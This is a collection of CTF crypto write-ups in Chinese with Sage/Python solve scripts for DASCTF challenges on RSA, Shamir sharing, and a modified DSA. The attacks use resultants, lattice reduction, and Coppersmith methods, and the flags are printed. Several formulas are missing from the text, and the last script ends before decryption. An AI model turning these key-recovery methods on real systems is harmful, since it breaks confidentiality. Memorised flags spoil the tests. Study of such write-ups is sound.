对两个式子做一个结式,把 t 给消掉,但是由于 太大,故我们需要优化一下,考虑到 ,即 ,我们知道在模 下满足的式子,在模 下一定成立,所以在求 的时候再模一下多项式 ,这样得到的 的度就低于10,之后让 做结式即可得到

(经过测试当调到 epsilon = 0.03 时我们能求出 来)

from Crypto.Util.number import * 

from random import *


with open('output.txt') as f:

    exec(f.read())

    

R.<t,r>=PolynomialRing(Zmod(n))   


# construct g

g = sum([int(data[i]) * t ** i for i in range(len(data))]) - leak2

print("start")

print('g', g)


asist = t

t_e = 1

cnt = 1

for i in bin(e1)[2:][::-1]:

    cnt += 1

    print(cnt)

    if i == '1':

        t_e = (t_e * asist) % g

    asist = (asist * asist) % g


# construct f

f = r + t_e - pow(leak1,e1,n)


# calc resultant using sylvester_matrix

h = f.sylvester_matrix(g, t).det().univariate_polynomial().monic()

res = h.small_roots(X = 2 ** 256,epsilon = 0.03)

if res:

    print(res[0])


exp2:

from Crypto.Util.number import *

from z3 import *

with open('output.txt') as f:

    exec(f.read())

r = 77477547161688496725906506626131775883966333151442864639104100690032824193233


k = (ed - 1) // n + 1

phi2 = (ed - 1) // k


# s = Solver()

# p, q= Ints('p q')

#

# s.add((p - 1)  * (p - 2) * (q - 2) * (r - 2) == phi2)

# s.add(p ** 2 * q * r == n)

# if s.check() == sat:

#     print(s.model())


'''

[p = 168207689659417173628607066039457820275276732311636007089001107530860513351122555769649031031435042743185528528881857626080873859026128498997148721030271703030768717788591275936600239642357340350598106488044312274746860587888105379606096757814370419770414183228756583472285941821276338279728115488001890742673,

 # q = 97707929018805957546753225343143490125285071269910025402668681477127527381672117514147518538470060994557862749309042238326448721045026099601424607832524228224510318920129326794773863846005792678034679056020514793964664097594210383339219122809427128901179158534676129014329576699155669500220463663254504200451]

'''

p = 168207689659417173628607066039457820275276732311636007089001107530860513351122555769649031031435042743185528528881857626080873859026128498997148721030271703030768717788591275936600239642357340350598106488044312274746860587888105379606096757814370419770414183228756583472285941821276338279728115488001890742673

q = 97707929018805957546753225343143490125285071269910025402668681477127527381672117514147518538470060994557862749309042238326448721045026099601424607832524228224510318920129326794773863846005792678034679056020514793964664097594210383339219122809427128901179158534676129014329576699155669500220463663254504200451


flag = ''


for i in c:

    if pow(i,(p - 1) // 2,p) == 1:

        flag += '0'

    else:

        flag += '1'


print(long_to_bytes(int(flag,2)))

# DASCTF{c764ba09-b2aa-12ed-ab17-9408ad39ce84}


lFinally

idea

这题其实没有很明确的目的指向,我们最后的落点就是encrypt这个函数,在此函数中我们知道的只有 ,不过又能发现一个很特殊的地方就是我们并不知道 到底是如何生成的,它被直白的给出来了,所以从这方面来说我们就能知道 很关键。那么这个时候其实就得去考虑到前面函数的作用以及指向到底什么

part1

我们知道了两个式子:l

两个式子,两个未知数,毫无疑问这部分就是要求

part2

给出 ,以及知道 ,这种我们其实就已经接触过,以前接触到的是(已知 和 n),此处无非就是 改了一下,改成了 ,思考的解题方式都是一样的。

故这个部分就是要求出

summary

所以可以很清楚的知道这两部分的作用和指向就是帮助我们得到p,q

我们知道了 ,然后我们又知道 不寻常,那么它们之间必定有联系,稍微试一试便能知道 的二次非剩余,得到了关系,之后再加上自己的推导,flag差不多就出了。


题目:EZshamir

解题步骤

分析源码,观察到多项式的系数是用sha256生成,相对于模数p较小

分析同余式可以得到

所以根据以上等式,可以构造如下格子求解出多项式的系数e

题目背景是shamir秘密分享,可以构造类似于LWE的格即可将结果求出来,使用flatter加速格归约

exp:

import os

from random import getrandbits

from hashlib import sha256, md5

from Crypto.Util.number import *

from Crypto.Cipher import AES

from subprocess import check_output

from re import findall


def flatter(M):

    z = "[[" + "]\n[".join(" ".join(map(str, row)) for row in M) + "]]"

    ret = check_output(["flatter"], input=z.encode())

    return matrix(M.nrows(), M.ncols(), map(int, findall(rb"-?\d+", ret)))


with open("data.txt", "r") as f:

    data = f.read().strip().split("\n")


p = int(data[0])

tmp = eval(data[1])

ct = long_to_bytes(int(data[2]))

pbits = 400

noise_bit = 32

n = 100

m = 75


X = [i[0] for i in tmp]

Y = [i[1] for i in tmp]



M = matrix(ZZ, n+1+m, n+1+m)


K1 = 2 ^ (256 - noise_bit)

K2 = 2 ^ 256


for i in range(m):

    for j in range(n):

        M[j, i] = pow(X[i], j, p)

    M[n, i] = Y[i]

    M[n+1+i, i] = p


M = K1 * M


for i in range(n):

    M[i, i+m] = 1

M[n, -1] = K2


ML = flatter(M)


for i in ML:

    if abs(i[-1]) == K2:

        sol = [abs(j) for j in i[-n:-1]]

        key = "".join([str(i) for i in sol])

        key = md5(key.encode()).digest()

        aes = AES.new(key = key, mode = AES.MODE_ECB)

        print(aes.decrypt(ct))

或者

from hashlib import sha256, md5
from Crypto.Util.number import *
from Crypto.Cipher import AES
from subprocess import check_output

def flatter(M):
    # compile https://github.com/keeganryan/flatter and put it in $PATH
    z = "[[" + "]\n[".join(" ".join(map(str, row)) for row in M) + "]]"
    ret = check_output(["flatter"], input=z.encode())
    from re import findall
    return matrix(M.nrows(), M.ncols(), map(int, findall(b"-?\\d+", ret)))

pbits = 400
noise_bit = 32
n = 100
m = 75
p = 1914861180127910915217161496032452354459288330404267938814385633318816795789745430689392291853522228462459760259540145551
msgs = [(871685718803663381427930478762339134295053004512609923589551466783266783810259304828550374243064535763376291757646963959, 202160546047966750331912360731430418240633973593625005229082586127891061162361922677243409978233971196981357156050665207), (880630661134451484589856936400581718913135314681369937077374828269467594291354487238721693384105758714624990294669591318, 1095968002726348118037606681187141462053336336722142181092378890939072246257043346524710197351420437134900753767241347071), (2201481802919131040050333908088433208558917203945919199978631826943299343536825970006258238556122903076523292840756434743, 692254736946777374134144410762495005358360246411034340533738679554417430991182506230475828234351704793913692448647675007), (1378304382181829689586748896745391077371970833336011385982116414924775680216930605930619270704824436444608781376558454118, 1349836972600983636760377380443471914884359770040030987799061599827409370783772298884084190105572886840534075250106753145), (1353153805805015283526548792279508930383121644895000056925297797888893262990508466655386951026647093911241738634749231794, 708640659789589986759360580045421230914410242138084549192350870784628479597574645622638880069506009868145944996982225278), (1060943952101159814075555130286870049673510249558382992676797709837360932812847335287824269141102612270742087176360534041, 1039246257482395034113137526078027968667726416005827851568387262127498749146041230779139405404483176650987996444622585854), (2424118466972165402210232064008571072995878364648534891594437945505312271409808703384482184386252162745547514610618028336, 635156696412302837761915637951567688860519995373738062624916498633145442364997312202584276482319362616731324143180341246), (1772241931859851196567261257895529032033057998867860001437142889635454121520207911859978309001300625929738493595845855555, 500604911497932506773931452024208499570885483407547558939058205116845746585850868300414311672651970998734159786902749117), (187044491746709666918227023301039735707457548611767420757592410489694090421689472337383722846260140189038198219461031942, 227360883946968296249705407270310276359769497016888615738491818601296225309783611129587894811655567646792586796017233916), (698522560244433302990615272949028179635002687309158390959480083880213377867539289895143372657572453749378003459093150970, 1438446488346299625609140434323525340139617346663444436909013102079035123226801253230191914228775608263694160574643826415), (1314293541818269470008262253418684239221368418527916534392752287558240541875482130114787897305513520252998018265836595136, 933106402921508526957532367623168847119197804766985507707958985877339350054085035066950570021869141193740290685053960123), (1501745172784237049923522578654390251325669575513607134910901665808936517556360097769749957840258117848678845196676974438, 1516777488301366348170721193695469080262430948767494893352311177358850775942249045078694319757619073073088994542922628861), (1718313250889012550002734353486104431289067168806022987862850465345813017177898627414672453244745977044381286178413506161, 506057417158279773145112367533063233326190899630436097648290976200406049591277922238049560242268646574334872382933403615), (2574114678492270903282456732270950593394194358462333441160509514501148947640703147403802718744307473847235179125898798831, 1503310774908591444184865449721473627976722270933784408676574059139777045024294387334806494605277115228299871854598791166), (1770243408559044970812149306040976785192946281881654467315187543403793080522851914844996680381886937167658398949087446193, 1099237075950355774454839935750271630613513947414691912497783029355832037700530351594087156234712938075324990262460261245), (2166086041023587382902739106621961372440200378327129977520031042444044378994128764308981213008281610274832831816068579582, 662709908868241192557028160616176772511764390044399310771390622778705044736473497185759270701465132475627229112002146287), (2170463762878343673691652149382892550249493539913487563393294153717628928418073705621516968910372026548584895576642432967, 1413676394542378061807394780263485269329077458637078447074464881203630348193024572124672013567573482444837133106653543455), (1129266289804637843248865446624604876222278055268049666382746600434990532837254822384883357227875808573227656504651891817, 1535832745242864345604750984721590856572422259228943440577864210008688452305222147646810543026576688303372824677842288383), (2306555154959167883502684934268021903550464872811594873384525370627065323932167910172723635326929186844444801386870524867, 574207014379682600904001842474004352741607105704886122985304177072984415266547565043126591318153332317051149516485422972), (1724617341290962542300349861015192124473593787607849187241871123866653776294891983393875816012660538610025134685453770248, 1037506311823536647118763707562050051146414393535410677631530307480219373475166677371198285257502421566885284344997084663), (202616766252415923229841624622749382197002736241072130496684863225861466295470440453433729087043063339640795866357221636, 1486069111757435527648291199412538135459418727823506381342991481853059317128849411787275828115963269643450637901851750359), (782072578333357184532047183424922628763983310554137973249125608272717772586145583974361061586170067251618252434433193104, 283757911494107775111019950316083145592345149507512192994272372101655062364071745340414019692327679359235776555825852415), (2197595167942118116042253773798345585826387963460510458606977372991191820486797272252095468231729659915814456157670560486, 955293934596965502510872570415413020132164928134045802395033751487848017887015144832326371969637236306696054523237785589), (1098157283702819563820742199423754909028104781243946454418867995181539307551856844793857199640783377355282394025101300655, 635111390180648841537968959615311456853925067622053148053038395898914597955860998732345527697104011201693008366561317143), (1539369283131984995745859995105101736066475537281347948822432206665809508754710210661232887491808392388057664234877214907, 1873336536033306125287332317304933459481487853852475402907316652085126765046749618993624553154025815108827029610442783458), (2105684701096534411811602939870350859970761398331640507345513836997797916059406457337165075287082983610738904681969289045, 1070056100602518593988818068846549889380286647944194826819905043161724050669042969316031968306712388470995120352413349630), (142489011778634823488933340993644406251365634143001554672065147110660487229716505211502368066478460823953952289740995290, 1600505031347134429197259601839106217157515935077383802359036680943190353630112460191899585397343290624969344500745894703), (554711031900068277207319195022074787064807351540056727585559478009641245829914129658355024028140622126230477378977389537, 65339521639683012798947456976243744037602872322070608133060186211835711806848370610017017866030009537787109068192454654), (532900849979395683891747931991929993723658239680866376615001124559008204600725833769158798743570050012188528983307982345, 334144016771241488303216672075523455061388505657739817526966708251875900758813513342313135616513439456734341083743369135), (869702918099306179247127839502723535611690279734139047798433105147760657329410795136726045654330604238870805984709621246, 1169351283105013313749641940783038490083938869389146122787264490618765187367135121126934960933658038044552677868393266925), (786239400981081690761967926939692614214352370457999126682279606306346828244856149092806342991454830115357428173569519111, 341229317116770102168944480795910149567176593419165900124153031167345358788428115442807890687039322892597408592425778007), (2064213065995911617919315029041029121543167107287437882288959061187785048503282055451690399898250479932109432366548223997, 865205430622864313641681018820800198136329954993789609121686669624009340125228193996720833574248608603224773986947432415), (1996571933560681341081972550429260163713030332385776633835663546385508374790580854691775408939051083454291050879529580125, 559622002964744852554436566542525646157533309978763685146044798881793139644019170010343656282702809565334484141114392471), (1665201866056279622733275067329071022333699015026928761307123522986743452132023670960400981020146860918570153444345681972, 1206659985279999461070238583934930315667638779868565409888110141662803190569415230894181412146290317311945493517622418483), (1515824630378748853880547205191400487565887686063520538971380532161078510669610334484477786016989319170924543667026641318, 154768510600010010017326698396207970330238438685198973674456030784650112353692986269413531937661879315225602124927708924), (2400640362993011976891348699605911902016988451462173893625476704482508356176787307014920885489349704332546642981698540069, 1121421906118323024216284095711804126345276955926784522370067713782427318851230923383318334457757167182928811853910539965), (914679394823164487648957492231711749917619119979512000391828434330805091270968219541264417579001916453063785209093025303, 374627069056072738750323688310128739794138886219071824099120374559973078400286337012659440934169856150484268780102828020), (1021972013999414078223981430633642397558044349935082594710388870307835007718638824792649139809042384573145837264785258692, 102093917357525962153933641992946656421204665316272197308632790969421027148825374536157392412871816080580115446708002591), (1090613002154339666672492884775405717313689831457406446112184992081112549743653583926163772335048052650217605191460964064, 1013686859153230698540678410867250429548404782986370285534810877495709441098450523218264937019132584108142305563714746606), (2161046501022327990933396497482765893753709560942237251106031463450880235879988355009303131242535391464106086265266338474, 1842825126623549349236000977359585068860414649531034170142594564984327572182360450517454690000097975914639809219290654045), (734600260267770729123110997283110745757092649194443870464263775523592639286156519663230810008655565992062564338915033184, 1439472390868656814802271856900227714476824912359664972147156053839098765837149646453806800388007932953080250670815772651), (881335900275714936417588963897633003585264162416587081468620588101288614371107988322661634495058217226298025521720126634, 1438060177355585280770231938473797663421441580729795412881287946986577092068342750409767988724102261013424113586148457982), (876173729780067336779925806297809473013555554668200124165269741312909223647316933287442159368855433236050789576297672813, 584722637090302053439384198012199760324880317678105782762720083676914628942486088928409942979389876557255132127516159991), (1733558429089397683359597663185076627234549140640918522337597781379981378009350733554208954192805660163725305958818509205, 1010477387678444338602582972843701290504497269295430761287923107029938822433731115008623372768060580369747062615441406973), (1758000758086776729345325124199287880198692107697670885448853730203070351345566212118269510767350031899984650531292511829, 1484408939224604508966101404659297622265311898991708197399154932571955375325130297122648740841893311564144118335134464767), (1804131890436486866363129670875272535127829613109307224638927349502815652920038318044827248066297349084047126682198723537, 205851561043462971495790984180238782403371191306463313748537952075031757233102533087892093246459879467418213080624418525), (115055233675952369353652759916228030654313474433562820828539341357745365094094469880187786426435712648771454584499932530, 1176080864489594177205517592453183512444290818765306305520846987245653463202230068116379056777589684194022156652500590286), (2328185963017050382404641363914321749130815400658884925780323745763587492366183441185791654864416499947607965414839983680, 1886972372164945427290729032551681924723044624295253696412030824048931146570915452349880650169939511030432165431905079162), (1187461847839408713851221476312312384869325749843380494840008651043567024911068726332857155522639869883501560564590472502, 14245981570273560431111454126826341091354415427387740559245555665941487543601004914128539171516718107049427670791071455), (1275402030469087379247637832029139314437943507754693234009807154397029994354617242802931983091961356790463942774885431413, 1244618585414033483912499539268357193993901084573974055024618656871349876744646123907837743332137138284077968028988239205), (434412507816189969843251866894800201497317336949194643079967243932448367734854234524383921690504689272627248814185361829, 1193224411748734492892063266412070819051994764468021617840046995194588804893634149301845035319723286201666783735434959871), (967206800413690215868425566102618623559678834432686964828977512828919721907280699739833113197470139412151190023683313494, 1808530961381834386234136376719035780314110457320233165055990056489953593025409242256807470925700807422319096558572795309), (313624779412398332754376720890766035026328871037358868168298423270666735999144035960122672900278781994670311217953770375, 1686899500506262775384473022726677756466624697749756704659992441285341042856582261569357914257097304916151170085370461887), (2503049409019801269651799221722260539204050296212337202096008034125758666888245353212657377647881087341258220743220151950, 1805670425703721038437117454438319230600703158318099419770216013430708468787297957979021344350598998116788430512286857710), (542793615526234040152647477936504636873290026979804505200706031754909176961382452267207291751054204331474258583862955704, 137413216840404664240606423528330611923289618863367088636432169005845572010429296034368451334357274658088690084213739519), (1278727765228747216000039330509641392475448645848420065175572576050796418025108532539983143839105111868933395201633094022, 23388499359309984016274969787898858204391606769507546898645785064534114465222342746534462082168690576567031618802237437), (1012848580192164395816758294581574397534987673377799482227399907475636722043236850766024023620412517564680586256857352143, 1905214326869438439368196073362306288481014496204443072620153943726399155969870686475260450389360494546627630953811148739), (14681804970662677021409260234892378252555735233958673970664432299644093318314837872915339633110893420712659256185701001, 1011761630527797621590321605066946971053085037922024159289431337005985850853467103097812975363878048453898707806902513147), (1285297724752785338545033366325253262303128927017049271006754406539647664563391436762226286574374768602309413720192759993, 1493631305230939817393915729396076315723258260416123252804505906893714637325280535095299471289740565654113670071232495263), (1936455326607738910358536004445045468685935298243245355139607465446389473389575731412354107347767379820812067955096505581, 17221509529814003689149745147239645298120184452011530064684368807629510922529681925724732647573630702864807669020485630), (1712173121206746224826777847167590088908487771935061508185448418705799456315866273530139739504675597716276421618856320329, 863258960233895711001625204805338525869459949675833484269384656157104193362371966225031203968537041681324265578127949567), (122947819386929089053369455928546401519366926955589935482151285368760894784571110782585692673158533373827447719944343791, 1029102739229804972707735760530574223266205866939373652705629746591419564062928935797957680207632040596245681227704817914), (2385767142510533504647214446664898369383090132453476416454822794037991187237960157132343084153289103535309857420295111775, 1761624877069474386824225334992881109136596455709107320013742630575693526591737171363464568721656277644139593399384668014), (812771942753829583712722765469520203663717266127958627830326203252222513862479475416772893289895236549766564327139922612, 1400551965978757484763340299740157171921224208542574495162921941233365483529203665206398541892811136907423472715818784767), (1730447421466464570286474725493766890793606044225883792125770759375672642470742177732074062181325776806752255986611978352, 1227172422842784980554449107675660327741994737748190415035709694965213848256121533465275911556767542681543052337917439991), (884876570094879628298320898305798783174822422253214800767481822053599408285668812621687108791956015225332329856833897849, 753204920370187659065626153785437381083012604855618525406022085513242388007754850086113679887120336586260993544726445815), (2423878693124084232298267862648738136330397292982760413012437397441533882471872339001090243864079240084356627531832647422, 77986001656302970387684242942282141405916785932070787943262406584312194694807333266164831908062494860407574874622803959), (1290185371498453630061135665764650237444736789468400436115999443209964260044045414036036267228562648112405016415084034369, 68976337771940690010768399948574523361633543589446521911372413501313976435844421496476544211566756895340409483041171429), (534185007935476498632058534030834014275044346188926848916387521022740118957225895686427252642167800163347935460364558055, 731879744398464762194277983635893240035937844142280555568092822946046633080006561051406094554262898470573348173297417945), (2009543648096147223331131572743756103868310430657031922289948135024763757031731292638042205835167380178315151642456024876, 864568612425196666545678285566636785636433247142630432401391420609479878443671268150141447157212173236963221732165810175), (1757088643325711453646774590651240485497713141719261877086100356614624931730830270746024611221269656481354818801893802862, 974732470392774737526017597270025996122553373618728789664042196211840392818797860303355085148223560919202565975591828989), (288236986926014229269042124754978817491981631142567735873084199780621570926784314358694003281689620128867232148908447783, 1677180488607905300411659606081989540342864981198203708964066014660249657102993313228752304204059137461689367948628457454), (2357100534536251965755486926312170142467175578829851375102247846264889085384519286073305902768874043332485938824401972401, 701015346799246873651989606339191939588270778423404768025441929439466616345395882534334734331126078737835606277756551038), (361601359553041584651624082197420503156194921051661310152767809536879950298413026398079782027847432778044471125267794148, 338870184820594722235914590766168929044789583242319904735556030852263040707796808350885054449714833051229949699390437343), (437493113470125074131702090577490292225129373521518638964839429915294209870286662477332241046314129156199317300178856910, 304951333972637627160342487320016313244618388459742922018615396895218523409067458512473044675590109759792913998170528746)]
ct = 14058554635665083618818231958810639805770645952778992611953881143316377164307777281092527452513347998950720853358361

########################################################### part1 construct
A= []
b = []
for i in range(m):
    temp = [msgs[i][0]^j % p for j in range(n)]
    A.append(temp)
    b.append(msgs[i][1])
A = Matrix(ZZ,A)
b = vector(ZZ,b)

########################################################### part2 LLL
#primal_attack1
def primal_attack1(A,b,m,n,p,esz):
    L = block_matrix(
        [
            [matrix.identity(m)*p,matrix.zero(m, n+1)],
            [(matrix(A).T).stack(-vector(b)).change_ring(ZZ),matrix.identity(n+1)],
        ]
    )
    print(L.dimensions())
    Q = diagonal_matrix([2^256//esz]*m + [1]*n + [2^256])
    L *= Q
    L = flatter(L)
    L /= Q
    for res in L:
        if(res[-1] == 1):
            s = vector(GF(p), res[-n-1:-1])
            return s
        elif(res[-1] == -1):
            s = -vector(GF(p), res[-n-1:-1])
            return s
        
res = primal_attack1(A,b,m,n,p,2^32)
print(res)

key = "".join([str(i) for i in list(res)[1:]])
key = md5(key.encode()).digest()
aes = AES.new(key = key, mode = AES.MODE_ECB)
flag = aes.decrypt(long_to_bytes(ct))
print(flag)


#DASCTF{3617af36-7869-6939-3a09-bb8038aea171}

题目:DAS_DSA

解题步骤

题目中的DSA签名算法是被修改过的,sign函数如下

    def sign(self, message):

        h = int(hashlib.sha1(message).hexdigest(), 16)

        k = b2l(xor(message,self.KEY))

        r = pow(self.g, k, self.p) % self.q

        s = (inverse(k, self.q) * (h + self.x * r)) % self.q

        if r != 0 and s != 0:

            return (r, s)

实际上作用为

&&&&&r=g^k\% p \ \\ &&&&&s=k^{-1}(hash(M)+xr)\%p

与常规DSA签名算法不同的是,这里的k生成并不是随机生成的,而是 得到的

题目中给了31组数据,由此我们可以获得一共31组是唯一的

目前思路就是,通过这31组数据,来得到x,通过不同数据的关系,来进行破解

参与sign中的M是原始字符串m由pad()函数加密后的,我们可以通过找到两个相同长度的字符串m,那么他们填充后的数据也是一样,这些字符串都是由"DAS"字符集组成,那么字符串中很有可能会出现在相同位置具有相同的字符

例如:()

他们最后的填充数据也是一样的,填充后的进行加密

由异或的性质,实际上就是对位的二进制加法

我们就可以得到下列关系式,其中x1,x2的大小就由两段不一样的字符串长来确定的,举例中不超过80bit

s_1=k_1^{-1}(h_1+xr_1) &&& (2)\\s_2=k_2^{-1}(h_2+xr_2) &&&(3)

联立我们就可以消去,得到式子(4),

此时式子(4)的未知数只有 ,其中为小数,

如果找到了另一组两个长度相同,其中相同位置具有相同的字符串的两个字符串

我们就可以通过上述操作得到一个类似的式子(5)

其中的未知数为,其中为小数,

联立我们可以消去x,得到一个式子中只有

就转化为小根问题,可以通过多元coppersmith攻击来解决。


在寻找相同长度的字符串中,找到相同位置的连续子串

代码如下:

def longest_common_substring_at_same_position(s1, s2):

    if len(s1) != len(s2):

        raise ValueError("Strings must be of the same length")

    max_length = 0

    current_length = 0

    start_index = 0

    for i in range(len(s1)):

        if s1[i] == s2[i]:

            current_length += 1

            if current_length > max_length:

                max_length = current_length

                start_index = i - max_length + 1

        else:

            current_length = 0

    return s1[start_index:start_index + max_length],start_index

在题目给的数据中,我们可以找到两组字符串为(右侧的数字字符串在GIFT,txt中的位置)

       ADDSDD

AASADASADDSDDASADSAS  5

ADSSSSAADDSDDDADAADD  8

       SAADDA

DADSDAASAADDAAASASSSA  11

SASADSSSAADDASADDDADD  22

然后根据上面的思维,以结式法进行消元构造

def resultant(f1, f2, var):

    return Matrix.determinant(f1.sylvester_matrix(f2, var))


index=[5,8,11,22]

P.<k0,k1,k2,k3,x1,x2,x3,x4,x,f1,f2,f3,f4> = PolynomialRing(Zmod(q))

k1=2^(25*8)*x1+k0+2^(12*8)*x2

k3=2^(25*8)*x3+k2+2^(11*8)*x4

# P.<x>= PolynomialRing(Zmod(q))

h=h0,h1,h2,h3=sha256(key[index[0]]),sha256(key[index[1]]),sha256(key[index[2]]),sha256(key[index[3]])

f=[f0,f1,f2,f3]

k=[k0,k1,k2,k3]

for i in range(4):

    f[i]=rs[index[i]][1]*k[i]-h[i]-rs[index[i]][0]*x

ff1 = resultant(f[0], f[1], k0)

ff2 = resultant(f[2], f[3], k2)

ff = resultant(ff1, ff2, x)


PP.<x1,x2,x3,x4>= PolynomialRing(Zmod(q))

ff=eval(str(ff))

x1,x2,x3,x4= small_roots(ff, (2**56, 2**56,2**56,2**64), m=4, d=2)[0]

ff式子就是我们最终得到的只有的方程式

而四段不一样的字符串长度分别为

因为在设置small_roots的参数是,上界选为

得到私钥x后,带回原方程,求得,再和填充后的字符串异或回来就可以

k0=int(f0.subs(x=xx2).univariate_polynomial().roots()[0][0])

KEY=l2b(k0^^b2l(pad(key[index[0]].encode(),32)))

print(b"DASCTF{"+KEY+b"}")

完整代码如下:

import hashlib

from Crypto.Util.number import *

from Crypto.Util.Padding import pad

from sage.matrix.matrix2 import Matrix

import itertools

def small_roots(f, bounds, m=1, d=None):

    if not d:

        d = f.degree()

    R = f.base_ring()

    N = R.cardinality()

    f /= f.coefficients().pop(0)

    f = f.change_ring(ZZ)

    G = Sequence([], f.parent())

    for i in range(m + 1):

        base = N ^ (m - i) * f ^ i

        for shifts in itertools.product(range(d), repeat=f.nvariables()):

            g = base * prod(map(power, f.variables(), shifts))

            G.append(g)

    B, monomials = G.coefficient_matrix()

    monomials = vector(monomials)

    factors = [monomial(*bounds) for monomial in monomials]

    for i, factor in enumerate(factors):

        B.rescale_col(i, factor)

    B = B.dense_matrix().LLL()

    B = B.change_ring(QQ)

    for i, factor in enumerate(factors):

        B.rescale_col(i, 1 / factor)

    H = Sequence([], f.parent().change_ring(QQ))

    for h in filter(None, B * monomials):

        H.append(h)

        I = H.ideal()

        if I.dimension() == -1:

            H.pop()

        elif I.dimension() == 0:

            roots = []

            for root in I.variety(ring=ZZ):

                root = tuple(R(root[var]) for var in f.variables())

                roots.append(root)

            return roots

    return []

key,rs=[],[]

index=[5,8,11,22]

sha256=lambda x:int(hashlib.sha256(pad(x.encode(),32)).hexdigest(), 16)

b2l=lambda x:bytes_to_long(x)

l2b=lambda x:long_to_bytes(x)

def resultant(f1, f2, var):

    return Matrix.determinant(f1.sylvester_matrix(f2, var))



with open("GIFT.txt","r") as f:

    for i in f.readlines(): key.append(i.strip())

    # print(key)

with open("enc.txt","r") as f:

    data=f.readlines()

    for i in data[:-1]: rs.append(eval(i.strip()))

    p,q,g,y=tmp=eval(data[-1])


P.<k0,k1,k2,k3,x1,x2,x3,x4,x,f1,f2,f3,f4> = PolynomialRing(Zmod(q))

k1=2^(25*8)*x1+k0+2^(12*8)*x2

k3=2^(25*8)*x3+k2+2^(11*8)*x4

# P.<x>= PolynomialRing(Zmod(q))

h=h0,h1,h2,h3=sha256(key[index[0]]),sha256(key[index[1]]),sha256(key[index[2]]),sha256(key[index[3]])

f=[f0,f1,f2,f3]

k=[k0,k1,k2,k3]

for i in range(4):

    f[i]=rs[index[i]][1]*k[i]-h[i]-rs[index[i]][0]*x

ff1 = resultant(f[0], f[1], k0)

ff2 = resultant(f[2], f[3], k2)

ff = resultant(ff1, ff2, x)


PP.<x1,x2,x3,x4>= PolynomialRing(Zmod(q))

ff=eval(str(ff))

x1,x2,x3,x4= small_roots(ff, (2**56, 2**56,2**56,2**64), m=4, d=2)[0]

xx = Integer(ff1.subs(x1=x1,x2=x2).univariate_polynomial().roots()[0][0])

xx2 = Integer(ff2.subs(x3=x3,x4=x4).univariate_polynomial().roots()[0][0])

assert  xx2 == xx

k0=int(f0.subs(x=xx2).univariate_polynomial().roots()[0][0])

KEY=l2b(k0^^b2l(pad(key[index[0]].encode(),32)))

print(b"DASCTF{"+KEY+b"}")

# 71413025726041075021691379440197097387165417897223060463261836215249838866459

# b'DASCTF{AADDAASAAASSSASSDSSASSDDDSDAAASS}'



1z_RSA

题目描述:

我们来到了提瓦特与现实世界的边界,我们怎么卡进去呢?
We've arrived at the boundary between Teyvat and the real world. How do we glitch inside?

题目:

from Crypto.Util.number import *

from sympy import *

import os

from secrets import flag


nbit =130

e = 3

l = getPrime(505)

m = bytes_to_long(flag + os.urandom(64))


assert len(flag) == 29


while True:

    p, q = getPrime(nbit), getPrime(nbit)

    PQ = int(str(p<<120)+str(q))

    QP = int(str(q<<120)+str(p))

    if isPrime(PQ) and isPrime(QP):

        break


n = PQ * QP

PP = nextprime((PQ >> 190) * (QP & (2 ** 190 - 1)))

QQ = nextprime((QP >> 190) * (PQ & (2 ** 190 - 1)))

N = PP * QQ

M = pow(m,1,l)

c = pow(m,e,N)


print('n =', n)

print('M =', M)

print('l =', l)

print('c =', c)


'''

n = 18339446336492672809908730785358232636383625709800392830207979464962269419140428722248172110017576390002616004691759163126532392634394976712779777822451878822759056304050545622761060245812934467784888422790178920804822224673755691

M = 36208281423355218604990190624029584747447986456188203264389519699277658026754156377638444926063784368328407938562964768329134840563331354924365667733322

l = 56911058350450672322326236658556745353275014753768458552003425206272938093282425278193278997347671093622024933189270932102361261551908054703317369295189

c = 720286366572443009268610917990845759123049408295363966717060100862857351750759651979922104897091176824666482923148635058966589592286465060161271579501861264957611980854954664798904862706450723639237791023808177615189976108231923

'''

要解决题目就要获得N的分解,而N的因子PP、QQ其实是由PQ、QP唯一决定的,所以其实就是要获得n=PQ*QP的分解。

而PQ、QP这两个素数又是由两个素数p、q按如下方式生成的:

PQ = int(str(p<<120)+str(q))
QP = int(str(q<<120)+str(p))

自己测试一下,可以发现130bit的素数按十进制大概有39或40位数字,也就是说PQ和QP可以写成:


所以乘起来就有:


可以发现p、q完全算小量,所以乘起来二元copper就可以获得分解,之后常规解密就行了,由于不互素所以还要AMM或者有限域开根,最后crt一下。

exp:

from Crypto.Util.number import *
from sympy import nextprime
import itertools

def small_roots(f, bounds, m=1, d=None):
if not d:
d = f.degree()

R = f.base_ring()
N = R.cardinality()

f /= f.coefficients().pop(0)
f = f.change_ring(ZZ)

G = Sequence([], f.parent())
for i in range(m+1):
base = N^(m-i) * f^i
for shifts in itertools.product(range(d), repeat=f.nvariables()):
g = base * prod(map(power, f.variables(), shifts))
G.append(g)

B, monomials = G.coefficients_monomials()
monomials = vector(monomials)

factors = [monomial(*bounds) for monomial in monomials]
for i, factor in enumerate(factors):
B.rescale_col(i, factor)

B = B.dense_matrix().LLL()

B = B.change_ring(QQ)
for i, factor in enumerate(factors):
B.rescale_col(i, 1/factor)

H = Sequence([], f.parent().change_ring(QQ))
for h in filter(None, B*monomials):
H.append(h)
I = H.ideal()
if I.dimension() == -1:
H.pop()
elif I.dimension() == 0:
roots = []
for root in I.variety(ring=ZZ):
root = tuple(R(root[var]) for var in f.variables())
roots.append(root)
return roots

return []

nbit = 130
e = 3

n = 18339446336492672809908730785358232636383625709800392830207979464962269419140428722248172110017576390002616004691759163126532392634394976712779777822451878822759056304050545622761060245812934467784888422790178920804822224673755691
M = 36208281423355218604990190624029584747447986456188203264389519699277658026754156377638444926063784368328407938562964768329134840563331354924365667733322
l = 56911058350450672322326236658556745353275014753768458552003425206272938093282425278193278997347671093622024933189270932102361261551908054703317369295189
c = 720286366572443009268610917990845759123049408295363966717060100862857351750759651979922104897091176824666482923148635058966589592286465060161271579501861264957611980854954664798904862706450723639237791023808177615189976108231923

PR.<p,q> = PolynomialRing(Zmod(n))
f = ((2*p+1)*2^120*10^39+(2*q+1))*((2*q+1)*2^120*10^40+(2*p+1))
bounds = (2^(nbit-1),2^(nbit-1))
res = small_roots(f,bounds,m=2,d=3)
p,q = 2*int(res[0][1])+1,2*int(res[0][0])+1
print(p*q)
print(n % 10^79)
PQ = int(str(p<<120)+str(q))
QP = int(str(q<<120)+str(p))
PP = nextprime((PQ >> 190) * (QP & (2 ** 190 - 1)))
QQQ = nextprime((QP >> 190) * (PQ & (2 ** 190 - 1)))

mp = pow(c,inverse(3,PP-1),PP)
PR.<mq> = PolynomialRing(Zmod(QQQ))
f = mq^3 - c
res = f.roots()

